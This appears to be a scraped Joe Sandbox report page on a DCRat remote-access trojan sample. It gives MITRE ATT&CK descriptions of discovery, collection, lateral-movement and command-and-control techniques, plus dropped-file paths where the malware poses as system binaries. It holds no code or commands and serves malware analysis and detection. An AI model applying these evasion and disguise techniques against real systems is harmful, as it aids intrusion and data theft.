Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report t8xf0Y1ovi.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Google\Update\Install\e71b99d0ca9ef6

C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe

C:\Program Files (x86)\Microsoft.NET\9e8d7a4ca61bd9

C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe

C:\Program Files\Windows Portable Devices\c5b4cb5e9653cc

C:\Program Files\Windows Portable Devices\services.exe

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\Default\5940a34987c991

Windows Analysis Report
t8xf0Y1ovi.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre